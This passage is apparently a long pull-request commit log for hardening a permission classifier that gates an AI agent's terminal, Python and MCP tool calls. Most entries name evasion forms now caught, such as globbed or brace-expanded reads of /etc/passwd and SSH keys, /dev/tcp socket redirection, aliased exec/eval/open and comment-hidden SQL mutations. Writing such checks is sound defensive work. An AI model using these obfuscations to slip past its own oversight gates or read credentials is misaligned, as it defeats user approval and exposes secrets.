- runpy (import) and runpy.run_path / run_module, which run arbitrary code

Adds classifier tests for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close auto-mode classifier gaps from review round 6 for PR #7079

Approve for me now asks for these:
- a mutating callable reached through a getattr alias
  (rm = getattr(os, "remove"); rm("f")): calls through a getattr-bound
  name fail closed
- compound MCP tool names carrying clone/checkout/comment/fork/tag/
  invite/share, which start with a read verb but still mutate
- a sensitive path hidden behind a glob (cat /e??/passwd,
  cat /e[t]c/passwd): a ? / * / [..] token is matched against the
  sensitive-file set and bracket classes are de-obfuscated; benign
  globs (ls *.py) stay auto

Also run first-pass RAG retrieval in off mode: like auto, off never
prompts, so a direct caller passing a stale confirm flag should not lose
document retrieval (both tool loops).

Adds classifier tests for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close auto-mode classifier gaps from review round 7 for PR #7079

Approve for me now asks for these:
- __builtins__.exec / __builtins__.eval (dynamic code via the dunder)
- terminal reads that hide a credential path behind a backslash escape
  (cat /et\c/passwd)
- read-named MCP filesystem calls pointed at a credential path
  (mcp__fs__read_file {"path": "/etc/passwd"})
- compound MCP names carrying append / prepend
- open aliased through a subscript or builtins attribute
  (f = globals()["open"]; f = builtins.open) then called to write
- open(..., **{"mode": "w"}) where a kwargs splat hides the write mode
- a sensitive path with a dynamic segment (open(f"/etc/{name}"),
  os.path.join("/etc", name)); /tmp/{name} stays auto
- urllib3 networking

Also stop folding permission_mode ask/auto into confirm_tool_calls for
external-provider requests: that branch rejects confirm_tool_calls with
tools, and the mode only governs local tool calls. Local requests still
self-gate. Adds tests for each case.

* Close auto-mode classifier gaps from review round 8 for PR #7079

Approve for me now asks for these:
- dbm on the unsafe-module list: dbm.open(file, "c"/"n") creates files,
  and importing the family signals a persistence writer
- reads of ~/.azure and ~/.config/gh credential stores (Azure/GitHub
  tokens), in terminal, MCP arguments, and Python literals
- compound MCP names carrying upsert / assign

Adds classifier tests for each case.

* Gate secret mounts and fix the composer pill count for PR #7079

- Add Docker/Kubernetes secret mount dirs (/run/secrets,
  /var/run/secrets) to the sensitive-path checks, so Approve for me asks
  before reading injected credentials (terminal, MCP args, Python).
- Count the always-visible permission pill in the composer's compact
  threshold so labels collapse at the intended width instead of
  overflowing by one pill.

Adds classifier tests for the secret mount paths.

* Close auto-mode classifier gaps from review round 10 for PR #7079

Approve for me now asks for these:
- qualified pathlib constructors (pathlib.Path('/etc') / name), folded
  the same as bare Path(...), so a dynamic sensitive path is detected
- open aliased through an annotated assignment (f: object = open;
  f('out', 'w')), tracked like a plain assignment
- recursive searches rooted at an absolute path (grep -R TOKEN /home,
  rg TOKEN /, fd pattern /etc), which read host files outside the
  sandbox tree; sandbox-relative searches stay auto

Adds classifier tests for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close auto-mode classifier gaps from review round 11 for PR #7079

Approve for me now asks for these terminal reads, which bash would
expand into a sensitive path only after the classifier had approved:
- a glob that resolves into a secret mount or credential dir
  (cat /r?n/secrets/hf_token, cat /root/.s??/id_rsa)
- a recursive search rooted at a tilde home (grep -R TOKEN ~root,
  grep -R TOKEN ~/logs)
- a brace expansion that builds a credential path (cat /etc/pass{w,}d)
- a default/alternate parameter expansion that builds one
  (cat /etc/pass${x:-wd})
- an input redirection that hides a glob (cat </e??/passwd)

And these python calls:
- a str.format-built sensitive path (open('/etc/{}'.format('passwd')))
- writer methods that persist to disk without open() (numpy.save,
  Image.save, plt.savefig, DataFrame.to_csv, json.dump)

Segment-wise directory matching keeps benign globs (ls /home/*/projects)
auto. Adds regression tests for each case and its safe counterpart.

* Close auto-mode classifier gaps from review round 12 for PR #7079

Approve for me now asks for these too:
- a terminal read whose parent traversal hides behind a redirection with
  no following space (cat <../../notes)
- a python read whose path is built with str.join
  (open(''.join(['/etc', '/passwd']))), told apart from os.path.join
- a dynamic-code builtin reached through an alias
  (from builtins import eval as e; e(...); x = builtins.exec; x(...))

Adds regression tests for each case and its safe counterpart.

* Close auto-mode classifier gaps from review round 13 for PR #7079

Approve for me now asks for these too:
- a recursive search whose root is hidden behind an assignment
  (p=/; grep -R TOKEN $p): the recursive-root test now runs on the
  assignment-expanded tokens as well
- a python read whose sensitive path is split through a literal variable
  (base = '/etc'; open(base + '/passwd')), including via an f-string
- numpy ndarray.tofile, which persists without open()
- a sequence brace read (cat /etc/pass{w..w}d), expanded alongside the
  comma brace form before the sensitive-path scan

Adds regression tests for each case and its safe counterpart.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close auto-mode classifier gaps from review round 14 for PR #7079

Approve for me now asks for these python reads that assemble a sensitive
path in a form the fold did not yet recognize:
- a pathlib object reused through a name (p = Path('/etc'); p / 'passwd')
- old-style percent formatting ('%s/%s' % ('/etc', 'passwd'))
- Path.joinpath ('/etc'.joinpath('passwd'))
- a bytes path literal (open(b'/etc/passwd'))

And these terminal reads, which bash expands into a sensitive path only
after the classifier had approved:
- a substring parameter expansion off an assignment
  (p=passwd; cat /etc/${p:0:6})
- an ANSI-C quoted path (cat $'/etc/pass\x77d')
- a glob into an Azure or GitHub CLI config dir
  (cat /home/*/.az?re/..., cat /home/*/.config/g?/...)

Adds regression tests for each case and its safe counterpart.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close auto-mode classifier gaps from review round 15 for PR #7079

Approve for me now asks for these terminal reads, which bash expands into
a sensitive path only after the classifier had approved:
- a per-thread procfs env alias (cat /proc/$PPID/task/$PPID/environ)
- a recursive root behind a default parameter (grep -R TOKEN ${root:-/home})
- a path built by pattern replacement (p=passXd; cat /etc/${p/X/w})

And these python reads:
- a pathlib .parent/.parents chain that escapes the session workdir
  ((Path.cwd().parent / 'other' / 'notes').read_text())
- a sensitive path resolved through glob (glob.glob('/e??/passwd')[0])

Adds regression tests for each case and its safe counterpart.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close auto-mode classifier gaps from review round 16 for PR #7079

Approve for me now asks for these terminal reads, which bash expands into
a sensitive path only after the classifier had approved:
- a case-modifying parameter expansion (p=PASSWD; cat /etc/${p,,})
- a mutating find action hidden behind an assignment (f=-delete; find . $f)
- a glob assembled through an assignment (g=e??; cat /$g/passwd)
- a POSIX bracket class glob (cat /etc/pass[[:lower:]]d)

And these python reads/writes:
- a glob pattern folded from a literal variable
  (base='/e??'; glob.glob(base + '/passwd'))
- a directly imported os.path.join (from os.path import join; join('/etc', 'passwd'))
- a directly imported writer (from numpy import save; save(...))
- an aliased pathlib constructor (from pathlib import Path as P; P('/etc') / 'passwd')

The find/fd and glob scans now run on the assignment/parameter-expanded
command, and pathlib/join/writer import aliases are tracked. Adds
regression tests for each case and its safe counterpart.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close auto-mode gaps from review round 17 for PR #7079

Two fixes:
- Gate sqlite3 in auto mode. sqlite3.connect(path) creates or mutates a
  database file (and runs DDL/DML) with no open()/writer attribute for
  the AST checks to catch, so treat the module like dbm and ask.
- Only self-enable confirm_tool_calls for Studio's own tool loop. The
  ask/auto fold previously set confirm on every non-provider request,
  including a plain client-tool passthrough (client-supplied tools that
  Studio does not execute), which then tripped the local-tool
  streaming-confirm route guard and rejected the passthrough. Restrict
  the fold to requests that actually ask Studio to run tools
  (enable_tools / enabled_tools / mcp_enabled).

Adds regression tests for the sqlite3 write and for the passthrough vs
tool-loop confirm behavior.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close auto-mode gaps from review round 18 for PR #7079

Classifier (auto mode asks for these):
- os.open through a module alias (import os as o; o.open(...)); os/posix
  aliases are tracked like the literal module name.
- less/more pagers, whose escapes (+cmd, !shell, -o/--log-file, LESSOPEN)
  can run a command or write a file the command-name allowlist cannot
  see, so they are no longer auto-approved.
- a read-named MCP tool carrying a mutating query
  (query_database {"query": "DELETE FROM runs"}); DML/DDL statements are
  matched as whole statements so a natural-language query that merely
  contains "delete" stays safe.
- ML persistence helpers (save_pretrained / save_file / save_model /
  save_weights / save_lora / save_checkpoint) that export weights to disk.

Route:
- Honor CLI-forced tools when deriving the confirm gate. When a process
  policy (unsloth run --enable-tools) opens the local tool loop without a
  request-level tool signal, a permission_mode ask/auto request now
  derives confirm at the route (GGUF and safetensors paths) so the mode
  still gates the call, and a non-streaming ask/auto request is rejected
  rather than running unprompted. A plain client-tool passthrough (no
  local loop) is unaffected.

Adds regression tests for each case and its safe counterpart.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close auto-mode classifier gaps from review round 19 for PR #7079

Approve for me now asks for these too:
- a terminal read whose path is built by indirect parameter expansion
  (x=passwd; p=x; cat /etc/${!p})
- a bash /dev/tcp or /dev/udp redirection, which opens a network socket
  (cat </dev/tcp/host/port)
- a python read via pathlib's receiver-plus-pattern glob
  (Path('/etc').glob('passw?'))
- a python read whose sensitive root passes through a normalizer
  (os.path.abspath('/etc'), Path('/etc').resolve())
- a pickle-backed loader that can execute code on load
  (torch.load, joblib.load, pandas.read_pickle), tracked through module
  import aliases
- compiled code wrapped into a callable (compile(...) + types.FunctionType)

Adds regression tests for each case and its safe counterpart.

* Honor unset permission_mode as ask across the local tool loop for PR #7079

Three gaps where an omitted permission_mode did not behave as the
documented default ("ask"):

- The frontend only sent permission_mode / confirm_tool_calls /
  bypass_permissions when a tool pill was on. A process policy
  (unsloth run --enable-tools) can open the tool loop with no pill, so
  the backend never saw the selected gate. Send the three permission
  fields at the top level of every local chat payload instead.

- The backend read payload.confirm_tool_calls directly at the
  pre-switch guard and both late per-backend derivations, so an unset
  mode fell through as no-gate even for an explicit ask/auto. Add
  _permission_mode_confirm(payload): explicit confirm_tool_calls wins,
  explicit ask/auto engage the gate, off/full never prompt, and an
  unset mode defaults to ask only where realizable (streaming), keeping
  the legacy no-gate run for non-streaming unset requests.

- A forced ask/auto tool loop (CLI --enable-tools) with no stream now
  400s at the pre-switch guard before evicting the resident model,
  matching the existing confirm-without-stream rejection.

Adds test_permission_mode_confirm_derivation covering the derivation
truth table.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Declare permission_mode and bypass_permissions on the local chat request type

The previous change moved permission_mode, confirm_tool_calls and
bypass_permissions to the top level of the local chat payload. They had
lived inside a conditional spread, which is not subject to excess
property checking, so the fields were never declared on
OpenAIChatCompletionsRequest. At the top level tsc flagged
permission_mode as unknown (TS2322), failing the frontend build and
every job whose Studio install builds the frontend.

Add permission_mode and bypass_permissions to the request interface
(confirm_tool_calls was already present).

* Close auto-mode classifier gaps from review round 21 for PR #7079

Auto mode ("Approve for me") now asks for these too:
- a pathlib read built from a concrete constructor (PosixPath, WindowsPath
  and their Pure* forms), which the folder previously ignored so
  PosixPath('/etc') / 'passwd' lost its /etc root and ran unprompted
- a terminal or python read of the ssh host keys under /etc/ssh, which
  the sensitive-path regex only covered for passwd/shadow/sudoers
- a read whose path variable is reassigned: the whole-tree pre-scan kept
  the last binding, so base = '/etc'; open(base + '/passwd'); base = 'data'
  folded to data/passwd and ran even though execution reads /etc/passwd;
  any multiply-bound name now folds to the escape sentinel and asks

Also stop the pre-switch guard from rejecting a plain client-tool
passthrough. permission_mode only implies the confirm gate for Studio's
own local tool loop (enable_tools / enabled_tools / mcp_enabled); a
non-streaming client-tool passthrough that carries permission_mode
ask/auto (confirm_tool_calls left unset by the validator) must forward to
the provider branch. Only an explicit confirm_tool_calls=True still forces
the local-confirm rejection there.

Adds regression tests for each case and its safe counterpart.

* Fix permission-pill compaction count and Full-access confirm sync for PR #7079

Two frontend consistency issues in the permission-level UI:

- The composer collapses tool pills to icons above four, but the count
  left out the permission pill, which renders in every mode except off.
  With one optional pill also shown the row reached five pills without
  collapsing and could overflow. Count the pill when it is visible
  (permission_mode != off).

- Entering Full access via setPermissionMode('full') or
  setBypassPermissions(true) left confirmToolCalls at its previous value,
  so a Full-access run (which sends confirm_tool_calls=false) could still
  report confirmations as enabled in response metadata. Set
  confirmToolCalls false at both entry points.

* Close auto-mode classifier gaps from review round 23 for PR #7079

Auto mode ("Approve for me") now asks for these too:
- a command using an abbreviated GNU long option that reaches a
  write/exec action (sort --out= for --output, env --ch= for --chdir,
  fd --base-dir= for --base-directory); a prefix of an unsafe long flag
  now fails closed
- printf -v NAME, which assigns to a shell variable, so
  printf -v PATH %s .; ls can rewrite PATH and run ./ls unprompted
- fd --base-directory / --search-path, which move the search root
  outside the session workdir without any positional slash token
- an MCP tool whose compound read name carries a copy-style mutator
  (read_and_copy_file, get_and_snapshot_volume): copy, duplicate,
  import, export, download, backup, restore, snapshot, mirror

Also treat an omitted permission_mode as its documented default ("ask")
on the Anthropic Messages server-tool path. That branch has no
confirmation channel and already rejects explicit ask/auto, so an
omitted mode now falls into the same rejection instead of silently
running server tools unprompted, unless the caller opted out with
confirm_tool_calls=false (the legacy equivalent of "off"). off/full and
that opt-out still run; the two routing tests that relied on the old
implicit run now set permission_mode="off".

Adds regression tests for each case and its safe counterpart.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Refine permission gating from review round 24 for PR #7079

Four fixes from the latest review:

- Anthropic Messages server tools: an omitted permission_mode no longer
  rejects a request that only runs safe server tools (web_search), so
  existing Anthropic callers keep working. It still rejects an omitted
  mode when a local tool (terminal/python) is selected, and an explicit
  ask/auto is still rejected outright. off/full and a
  confirm_tool_calls=false opt-out always run.

- Pre-switch confirm-without-stream guard: use
  _explicit_studio_tool_loop_requested (the same predicate the
  passthrough router uses) instead of the policy-inclusive
  _effective_enable_tools, so a process --enable-tools policy no longer
  turns a client-tool passthrough into a local-loop rejection.

- Auto mode now asks for `uniq INPUT OUTPUT`: uniq writes its second
  file positional, so a second positional (numeric flag values skipped)
  is treated like `sort -o`. A lone `uniq file` or piped `... | uniq`
  stays safe.

- MCP mutation check now strips SQL comments before matching, so
  DELETE/**/FROM and UPDATE/**/users (comment-as-whitespace) no longer
  slip past the DML/DDL denylist.

Adds regression tests for each case and its safe counterpart.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close auto-mode gaps from review round 25 for PR #7079

Auto mode ("Approve for me") now asks for these Python cases too:
- a bare archive constructor with a write mode (from zipfile import
  ZipFile; ZipFile('out.zip', 'w')), tracked through import aliases like
  the zipfile.ZipFile attribute call already was
- a dynamic lookup aliased through getattr (g = getattr;
  rm = g(os, 'remove'); rm('file')), not just direct getattr(...) calls
- a callable that wraps open or a writer via functools.partial
  (w = partial(open, mode='w'); w('out.txt')), which hides the write mode

Also:
- Always-safe tools (render_html) stream their early provisional canvas
  card in auto mode again. The provisional-card guard mirrored the raw
  confirm flag, which suppressed the early card under Approve-for-me; it
  now reuses the auto-mode safety decision (is_always_safe_tool).
- The assistant-ui composer no longer counts the permission pill toward
  its collapse threshold when the level is Off (the pill renders null
  there), matching the other composer.

Adds regression tests for each case and its safe counterpart.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Align permission-mode confirm guards with the router (review round 26)

Three pre-switch confirm-gate checks disagreed with how the tool
loop actually enters, so a valid request could 400 (or an invalid
one could evict the resident model) at the wrong point:

- The /chat/completions pre-switch guard only looked at explicit
  request fields, so a process --enable-tools policy that forces the
  loop on (request omits enable_tools, no client tools) slipped past
  it and only 400ed after _maybe_auto_switch_model had swapped the
  model. It now mirrors the router's own loop-entry gate
  (_effective_enable_tools or mcp, tool_choice="none" disabling it
  unless explicitly asked) while still deferring to client-tool
  passthrough, so the policy-forced case is caught before the switch.

- The ChatCompletionRequest full/off fold treated enabled_tools by
  itself as a local-loop request and set confirm_tool_calls=True.
  The router never starts the loop on enabled_tools alone (it only
  filters which tools run), so a non-streaming passthrough carrying
  client tools plus enabled_tools 400ed instead of routing verbatim.
  The fold now keys off the same enable_tools / mcp_enabled signals.

- The Anthropic /v1/messages unsupported-mode rejection (ask/auto,
  or an omitted mode selecting terminal/python) ran inside the
  post-switch server-tools block, so an invalid request evicted the
  resident model before the 400. It now runs before the auto-switch,
  determined from the requested server tools, like the neighboring
  malformed- and mixed-tool guards.

Adds regressions for each: a policy-forced non-streaming ask/auto
guard rejection that never reaches the switch, an enabled_tools-only
passthrough that keeps confirm unset, and an Anthropic rejection that
precedes _maybe_auto_switch_model.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close auto-mode classifier gaps from review round 27 for PR #7079

Auto mode ("Approve for me") now asks for these host-mutating or
host-reading cases it previously ran unprompted (the sandbox does not
jail filesystem reads, and terminal commands can change host state):

- Destructured string literals fold into the scanned path now, so
  base, leaf = ('/etc', 'passwd'); open(base + '/' + leaf).read()
  resolves to /etc/passwd and asks, like the single-assignment form
  already did. The tuple/list unpacking branch tracked only aliases to
  open; it now also binds literal and folded-path elements.
- pathlib name rewrites fold to the rewritten path:
  Path('/etc/x').with_name('passwd').read_text() (and with_stem /
  with_suffix) spell no literal /etc/passwd but resolve to it, so they
  are folded and caught. Benign in-sandbox rewrites stay safe.
- hostname NAME (or -F/--file, -b/--boot) sets the hostname, so a
  positional or a set flag asks; bare hostname and the display flags
  (-f/-i/-I/...) stay read-only.
- date -s/--set STRING and the bare MMDDhhmm... positional set the
  system clock and now ask; the display forms stay read-only (+FORMAT,
  -u/-R, and -d/-r/-f whose following value is skipped so date -d
  tomorrow is not mistaken for a clock-setting positional).

Adds regression rows for each gap and its safe counterpart.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close more auto-mode classifier gaps from review round 28 for PR #7079

Auto mode ("Approve for me") now asks for these cases too:

- Mapping-style %-formatted paths. '/etc/%(f)s' % {'f': 'passwd'} folds
  to /etc/passwd and asks; a dynamic value or a non-literal mapping
  leaves the NUL marker so /etc/<dynamic> still fails closed. The path
  folder previously handled only tuple/scalar % right-hand sides and
  returned None for a dict, hiding the sensitive segment.
- A read-named MCP database tool carrying PostgreSQL COPY. COPY ... FROM
  bulk-loads a table and COPY ... TO writes a server-side file, so both
  are matched as mutating queries like DELETE/UPDATE already were. A
  'copy' substring in a column name stays safe (word boundary).
- logging file handlers. logging.FileHandler('out.log', mode='w') (and
  the default append mode, RotatingFileHandler/TimedRotatingFileHandler/
  WatchedFileHandler, and the bare from-import form) create or truncate
  a file like open(..., 'w'), so they are classified as writer calls.
  StreamHandler / NullHandler and logging reads stay safe.

Adds regression rows for each gap and its safe counterpart.

* Fix writer aliases, GraphQL mutations, and auto server tools (review round 29)

- Auto-mode Python: an aliased writer or archive constructor is tracked
  like the existing open alias, so from numpy import save; s = save;
  s('out.npy', arr) (and z = ZipFile; z('a.zip', 'w'), incl. the
  destructured forms) ask instead of running the write unprompted. A
  benign builtin alias (x = len) stays safe.
- Auto-mode MCP: a read-named tool carrying a GraphQL mutation now asks.
  query_graphql {"query": "mutation { deleteIssue(id: 1) }"} matches a
  leading mutation keyword (GraphQL uses # comments, so it scans the raw
  payload); GraphQL read queries stay safe.
- Anthropic /v1/messages: permission_mode "auto" no longer 400s a
  safe-only server-tool selection. auto only needs a confirmation
  channel for an unsafe call, so like the omitted default it runs for
  web_search / RAG / render and rejects only when a gate-needing local
  terminal/python tool is selected. ask still always rejects (it asks
  per call, which this passthrough cannot honor). The rejection stays
  ahead of the model auto-switch.

Adds regression rows/cases for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate asyncio spawn, net clients, default-captured open; allow safe-only auto (round 30)

Auto-mode Python now asks for more process/network/write vectors:
- asyncio process spawners (asyncio.create_subprocess_exec/shell and a
  loop's subprocess_exec/shell) run an arbitrary program without the
  terminal blocklist, so they gate like os.system/subprocess.
- stdlib network clients imaplib / poplib / nntplib / xmlrpc(.client) /
  webbrowser open outbound connections the sandbox does not namespace
  off, so their import asks like the other network modules.
- a callable captured as a function or lambda parameter default
  (def f(o=open): o('out', 'w')) now binds that parameter into the same
  alias set, so the later write through it is gated. A benign default
  (o=len) stays safe.

Also, permission_mode "auto" no longer 400s a non-streaming local tool
request whose selection is always-safe-only (web_search / RAG / render).
auto only prompts for a classifier-flagged call, so a safe-only auto
request needs no stream, while ask, an explicit confirm_tool_calls=true,
MCP, and an unrestricted or unsafe selection still require it. Applied
via a shared _confirm_gate_needs_stream helper at the pre-switch, GGUF,
and safetensors confirm-stream guards; the loop's per-call confirm flag
is unchanged.

Adds regression rows/cases for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Catch brace-glob paths and attribute writer aliases; unfold auto (round 31)

- Terminal auto mode now runs the glob-sensitive scan over every
  expansion candidate, so a brace-expanded glob (cat /e{t,}c/pass?d,
  which bash expands to /etc/pass?d and then globs to /etc/passwd) asks.
  Brace expansion alone spells no literal /etc/passwd and the glob only
  resolves once the brace group is expanded, so scanning both together
  is required. A benign brace + glob stays safe.
- Python auto mode now tracks a mutating attribute captured as a plain
  name: s = np.save; s('out.npy', arr) binds a writer alias, a captured
  .open bound method (p = Path('out').open; p('w')) fails closed on any
  call since its mode position varies, and z = zipfile.ZipFile is gated
  like the bare import. A benign attribute alias (x = np.mean) stays safe.
- permission_mode "auto" is no longer folded to confirm_tool_calls=true
  on the request model. Folding it defeated the safe-only-selection
  exception in _confirm_gate_needs_stream (an explicit confirm forces
  stream=true), so a non-streaming safe-only auto request was rejected.
  Leaving it unset lets the route apply the exception; the mode still
  drives the loop's per-call gate. "ask" still folds (it gates every
  call).

Adds regression rows/cases for each.

* Harden SQL/GraphQL/writer classification and passthrough guards (round 32)

MCP argument mutation detection (read-named query tools):
- CREATE DDL now matches modifiers and the broader object set, so
  CREATE OR REPLACE VIEW, CREATE UNIQUE INDEX, CREATE TEMP TABLE,
  CREATE MATERIALIZED VIEW and CREATE FUNCTION ask.
- Stored-procedure invocation (CALL proc(...), EXEC/EXECUTE) and VACUUM
  ask; a natural-language "call me back" stays safe via the trailing
  "(" / ";" / end lookahead.
- GraphQL # comments are stripped before the mutation match, so
  mutation # note\n { deleteIssue(id: 1) } no longer hides the mutation.

Python auto-mode classification:
- numpy.memmap / open_memmap and pandas ExcelWriter / HDFStore create or
  truncate a file on construction, so they gate like open(..., "w").
- asyncio networking (asyncio.open_connection, loop.create_connection /
  create_server and unix variants) opens outbound connections/listeners
  the sandbox does not isolate, so it gates like socket.connect.

Terminal auto-mode: file -C / --compile writes a compiled magic database.

Routing:
- A JSON-schema response_format is guided-decoding passthrough, not a
  local tool loop, so a --enable-tools policy no longer 400s a
  non-streaming ask/auto structured-output request at the confirm guard.
- An explicit confirm_tool_calls=False opts out of the Anthropic Messages
  server-tool gate entirely (it wins over the mode, mirroring
  _permission_mode_confirm and the GGUF path), so it runs even under ask.

Adds regression rows/cases for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Track path-ctor aliases, exempt empty selection and safe safetensors card (round 33)

- Python auto mode now propagates path constructor / join aliases, so
  assigning Path or os.path.join to another local name is still folded:
  P = Path; (P('/etc') / 'passwd').read_text() and j = os.path.join;
  open(j('/etc', 'passwd')) ask, while a benign /tmp alias stays safe.
- _confirm_gate_needs_stream now distinguishes an omitted enabled_tools
  (None, all tools) from an explicit empty list ([], no tools). An empty
  selection runs no built-in tool and cannot prompt, so a non-streaming
  auto request with enable_tools=true, enabled_tools=[] is no longer
  400ed under a --enable-tools policy.
- The safetensors provisional render_html card now uses permission_mode:
  render_html is always safe and never prompts, so its early canvas card
  streams under auto (which ships confirm_tool_calls=true) instead of
  being suppressed, matching the GGUF path's is_always_safe_tool exemption.

Adds regression rows/cases for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Extend auto-mode classifier: SQLite mutations, more net/xattr/compressed writers

Additional fail-closed gaps found by a fresh adversarial pass, each with a
reproduction and a benign control:

- MCP read-named tools now ask on SQLite-flavored writes the base DML/DDL regex
  missed: ATTACH / DETACH DATABASE, a write-form PRAGMA (PRAGMA journal_mode=WAL
  / user_version=42 / foreign_keys(0), while the read-form PRAGMA journal_mode
  stays safe), and load_extension() which loads and runs an arbitrary shared
  library.
- Python auto mode now gates the remaining asyncio network entry points
  (start_server, open_unix_connection, loop.create_datagram_endpoint,
  sock_connect), os.setxattr / os.removexattr metadata writes, the gzip / bz2 /
  lzma single-stream writers (GzipFile / BZ2File / LZMAFile, mode-gated like
  ZipFile so a read stays safe), pandas to_xml, and the websockets client.

Benign controls (SELECT 1, read-form PRAGMA, asyncio.sleep, gzip read, numpy
read, natural-language "attach"/"analyze") stay safe. Regression rows added to
test_permission_mode.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close follow-up auto-mode gaps: SQLite/GraphQL variants, more writers and net

A fresh adversarial pass on the previous round found consistent extensions of
the same fail-closed rules, each reproduced with a benign control:

- MCP read-named tools: DROP / ALTER now cover the same broad object set as
  CREATE (DROP FUNCTION, ALTER INDEX, DROP MATERIALIZED VIEW); ATTACH is caught
  without the optional DATABASE keyword via its quoted-path form; a
  schema-qualified write PRAGMA (PRAGMA main.user_version=1) is matched; and a
  GraphQL mutation carrying directives (mutation M @audit { ... }) is treated as
  a mutation.
- Python auto mode: os.startfile (Windows program launch), asyncio
  start_unix_server, and the socketserver framework now ask; a gzip/bz2/lzma
  open imported under an alias (from gzip import open as gopen) is gated like
  builtin open; and a dynamic path prefix that can form a sensitive absolute
  root (open(chr(47) + "etc/passwd"), open(os.sep + "etc/passwd")) is treated as
  sensitive, while a dynamic prefix with a benign suffix stays safe.

Benign controls (read-form PRAGMA, natural-language "attach ... as", "drop the
idea", SELECT dropped_at, query @cached, gzip read alias, dynamic prefix +
data/file suffix) stay safe. Regression rows added to test_permission_mode.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate GNU time -o, basicConfig/methodcaller/fileinput, and more SQL mutations

Another adversarial pass surfaced further consistent fail-closed gaps, each
reproduced with a benign control:

- Terminal: GNU time -o/--output/-a/--append truncate or append to a file with
  timing output; time is a wrapper, so the flag is checked before the wrapped
  command like env -C.
- Python auto mode: logging.basicConfig(filename=...) opens a log file for
  write; operator.methodcaller("write_text"/...) hides a writer method behind a
  string and is now treated as dynamic dispatch (like getattr/partial);
  fileinput.input(..., inplace=True) rewrites a file in place (the default read
  form stays safe).
- MCP read-named tools: UPDATE now matches quoted, bracketed, and
  schema-qualified targets (UPDATE "users" / public.users / ONLY public.users /
  [users] / `users` SET); SELECT ... INTO OUTFILE/DUMPFILE writes a server file;
  and state-changing SQL functions inside a SELECT (pg_terminate_backend,
  setval, pg_write_file, lo_export, ...) ask.

Benign controls (time ls / time -p, basicConfig(level=), methodcaller("upper"),
fileinput read, NL "update ... set", setval_col column, PL/pgSQL SELECT INTO
var) stay safe. Regression rows added to test_permission_mode.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten auto-mode classifier comments

Collapse the multi-line rationale blocks in the permission classifier to one or
two lines each without dropping the exploit each branch closes. Comments and
whitespace only (no code change); the classifier tests are unchanged and pass.

* Retry transient SSE stalls in the tool-calling smoke probes

The tool-calling job flaked with a bare "TimeoutError: timed out": the
server-side python/bash probes stream over post_sse(), which (unlike
post()) had no transport-level retry, so a single stalled stream on a
shared CI runner hard-failed the whole step even though function calling
had already passed.

post_sse() now mirrors post(): a transport-level stall (stream open or a
mid-stream read timing out) is retried once with a fresh request capped
at 300s, while HTTP status errors still surface immediately. The
Linux _run_tool_probe caps each attempt at 360s and treats a stall that
outlives the retry as a failed attempt (rotate to the next seed) instead
of raising, and the web_search probe uses the same 360s cap. A genuine
server wedge still fails (the retry also times out), so real regressions
are not masked. Applied to the Linux, macOS, and Windows inference-smoke
workflows, which share the probe.

* Close five more auto-mode classifier gaps from review

Each reproduces with a benign control:

- Path constructor aliased through an attribute (P = pathlib.Path) now folds
  like the bare-name alias, so (P('/etc') / 'passwd').read_text() asks while a
  /tmp alias stays safe.
- Callable defaults that are not plain names now bind the parameter: an
  attribute writer (def f(s=np.save)), an archive constructor, a captured .open,
  and partial(open, mode='w') fold like the equivalent assignment; a benign
  default (np.mean) does not.
- A dynamic piece inside a sensitive name (open('/et' + chr(99) + '/passwd'),
  which folds to '/et\x00/passwd') now asks: the literals around each dynamic
  segment are matched against a credential target with the segment as any run of
  non-separator chars, so an all-dynamic ('1 + 1') or segment-spanning
  (a + '/' + b) path stays safe.
- MCP read-named tools now ask on REFRESH MATERIALIZED VIEW and REINDEX; a
  'refresh' column or natural-language 'refresh' stays safe.
- A writer/open alias handed to a higher-order invoker (map(open, names, modes),
  starmap(np.save, ...)) is gated even without a direct call site; a benign
  map(len, ...) is unaffected.

Regression rows added to test_permission_mode.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Default tool pills off on model load so tool execution is opt-in

resolveToolsEnabledOnLoad turned the web-search and code pills on for
any tool-capable model when the user had expressed no preference. Default
them off instead, so tool execution is enabled only when the person
clicks the pill to turn it on; a saved preference (on or off) is still
honoured, so a user who already enabled tools keeps them on.

* Gate mark/subscribe MCP verbs and qualified higher-order writer invokers

- A read-prefixed MCP tool name carrying mark / subscribe / unsubscribe
  (get_and_mark_read, get_and_subscribe) now asks; a 'mark' substring inside
  one token (list_bookmarks) stays safe.
- The higher-order writer check now also fires for a qualified invoker
  (itertools.starmap(open, ...), functools.reduce(open, ...)), matching the
